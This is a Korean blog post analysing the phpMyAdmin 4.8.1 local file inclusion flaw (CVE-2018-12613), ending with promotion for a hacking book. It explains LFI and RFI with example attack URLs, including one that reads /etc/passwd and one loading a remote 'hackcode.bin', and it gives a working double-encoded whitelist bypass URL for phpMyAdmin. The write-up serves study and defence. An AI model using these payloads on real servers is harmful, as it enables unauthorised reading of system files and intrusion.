phpmyadmin Local File Inclusion 취약점(CVE-2018-12613) 재분석

in #kr5 years ago
  • 악의적인 사용을 금합니다. 법적 책임은 본인에게 있습니다.
  • 무단 도용/복제를 급합니다. 본 글의 저작권은 huti에게 있습니다.

URL에 파일 경로를 포함하면, 사용자가 웹서버에 있는 파일을 열람할 수 있는 취약점이다.
File Inclusion 취약점을 이용한 공격은 LFI(Local File Inclusion)와 RFI(Remote File Inclusion)로 나뉜다.

  1. LFI(Local File Inclusion) 공격
    LFI 공격은 Directory Traversal 취약점을 많이 이용한다.
    Directory Traversal 취약점은 브라우저로 웹서버의 특정 경로에 접근해 디렉토리를 이동할 수 있는 취약점이다.
    다음은 Directory Traversal 취약점을 활용한 LFI 공격 예시이다.

http://example.com/index.php?file=../../../../etc/passwd

이전 경로로 이동하는 ../을 이용해 /etc/passwd 파일을 열람하려는 공격이다.

  1. RFI(Remote File Inclusion) 공격
    RFI 공격은 URL 인자를 이용해 외부(원격) 웹서버의 파일에 접근하는 공격이다.
    다음은 RFI 공격의 예시이다.

http://example.com/index.php?language=http://test.com/hackcode.bin

  1. phpmyadmin LFI 취약점 분석

phpmyadmin 4.8.1은 LFI 공격에 취약하다.
다음은 LFI 공격 성공 화면이다.

이 취약점은 URL Query String의 유효성을 검증하는 부분에서 발생한다.

index.php 코드를 보면, target 매개 변수를 검증하는 부분이 있다.
target 인자를 include하기 위해서는 if문을 만족해야 한다. if문을 해석하면, 아래와 같다.

  1. target 인자가 공백이 아니어야 한다.
  2. target 인자는 문자열이어야 한다.
  3. index로 시작해서는 안 된다.
  4. $target_blacklist 배열 안에 없어야 한다.
  5. Core.php의 checkPageValidity 함수에서 검증을 거쳐야 한다.

core.php 코드를 보면, checkPageValidity 함수에서 유효성 검증을 한다.

위의 if문을 차례로 분석해 보자.
첫 번째 if문은 $whitelist가 공백이라면, $whitelist 변수에 self::$goto_whitelist; 값을 넣는다. $goto_whitelist는 현재 페이지(self)의 31 번째 줄에 있다.

다음은 core.php에 있는 whitelist 목록이다.

두 번째 if문을 보면, $page가 없거나 문자열이 아니면, false를 반환한다. 우리는 문자열을 입력했기 때문에 두 번째 if문에서 false를 반환하지 않고, 세 번째 if문으로 넘어간다.

세 번째 if문은 $page가 $whitelist에 있으면, true 값을 반환하다. db_sql.php%3f/../../../../../../../../etc/passwd이 $whitelist에 없으므로 true를 반환하지 않고 다음으로 넘어간다.

네 번째 if문을 선언하기 전에 $_page 변수를 선언한다. $_page 변수에 들어가는 값은 mb_substr() 함수의 반환 값이다. mb_substr() 함수는 문자열을 자르는 함수이고, 함수의 인자는 다음과 같다.

mb_substr(문자열, 시작위치, 나타낼 길이, 인코딩방식);

위에 따르면, $_page는 $page 문자열을 0 번째부터 mb_strpos()함수 반환값의 길이만큼 자른 문자열이다. mb_strpos()함수의 반환값을 알아야 $_page의 정확한 값을 구할 수 있다. mb_strpos()는 문자열의 첫 위치를 나타내는 함수이고, 인자는 아래와 같다.

mb_strpos(대상 문자열, 조건 문자열, 검색 시작 위치, 인코딩방식)

mb_strpos($page . '?', '?')은 $page?에서 ?가 시작되는 위치를 구하라는 뜻이다. db_sql.php%3f/../../../../../../../../etc/passwd?에서 ?이 검색되는 위치는 56이다. 네 번째 if문은 $page의 0 번째 문자부터 56개의 문자를 반환하므로 db_sql.php%3f/../../../../../../../../etc/passwd을 반환한다. 네 번째 if문은 $_page가 $whitelist 배열에 있으면, true 값을 반환하는데, db_sql.php%3f/../../../../../../../../etc/passwd은 $whitelist 배열에 존재하지 않는다. 따라서 true를 반환하지 않고, 다음 조건문으로 넘어간다.

이제 마지막 if문이 남았다.

마지막 if문이 실행되기 전에 $_page 변수 값이 두 번 바뀐다.

urldecode($page)가 실행되면서 $_page 변수가 새로운 값으로 바뀌는데, 여기서 취약점이 발생한다. Burp Suite의 Decoder 탭에서 Decode as URL을 선택하면, 복호화된 URL을 확인할 수 있다.

db_sql.php%3f/../../../../../../../../etc/passwd를 URL decoding하면 db_sql.php?/../../../../../../../../etc/passwd가 된다.

urldecode() 함수가 실행되고, 다시 한 번 $_page 변수를 선언한다. $_page 문자열을 0 번째부터 mb_strpos()함수 반환 값의 길이만큼 자르면, 마지막 $_page 변수의 값을 구할 수 있다. mb_strpos($_page . '?', '?')은 db_sql.php?/../../../../../../../../etc/passwd?에서 ?의 첫 번째 위치이므로 10이 된다. 그리고 mb_substr($_page, 0, 10);을 실행하면, db_sql.php을 반환한다. 따라서 마지막 $_page의 값은 db_sql.php이다.

마지막 if문은 $_page의 값이 $whitelist 배열에 있으면, true를 반환한다. db_sql.php이 whitelist 배열 안에 있으므로 checkPageValidity 함수의 반환값은 true가 된다.

따라서 http://10.0.2.15:2345/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd으로 접근했을 때, if문에서 true를 반환하게 된다. 그렇기 때문에 include $_REQUEST['target']이 실행되어 Local File이 inclusion되는 것이다.

  • 이 내용은 칼리!도커를해킹하다 2부의 아주 일부입니다. 책에서 더 자세히 다룹니다. 2부는 2019년 5월 출간 예정입니다.

  • 칼리!도커를해킹하다 1부는 2부를 공부하기 전에 알아야 할 내용으로 이미 전자책으로 출간되었습니다.

https://ridibooks.com/v2/Detail?id=2853000018&fbclid=IwAR3q5hlVZeX20HWAPjWbDnqg8AqYJhx5vWQG2zLxH4xYpS0eWxOdeFLInNE

칼리! 도커를 해킹하다
이 책은 총 3부로 기획했다. 입문자나 초급자가 중급 정도의 수준까지 끌어올릴 수 있도록 다소 욕심을 부렸다. 1부는 입문자나 초급자에게 맞췄고...
ridibooks.com

예스24 http://www.yes24.com/Product/Goods/71536932?scode=032&OzSrank=4

알라딘 https://www.aladin.co.kr/shop/wproduct.aspx?ItemId=187404326

Coin Marketplace

STEEM 0.32
TRX 0.11
JST 0.034
BTC 66791.24
ETH 3239.69
USDT 1.00
SBD 4.22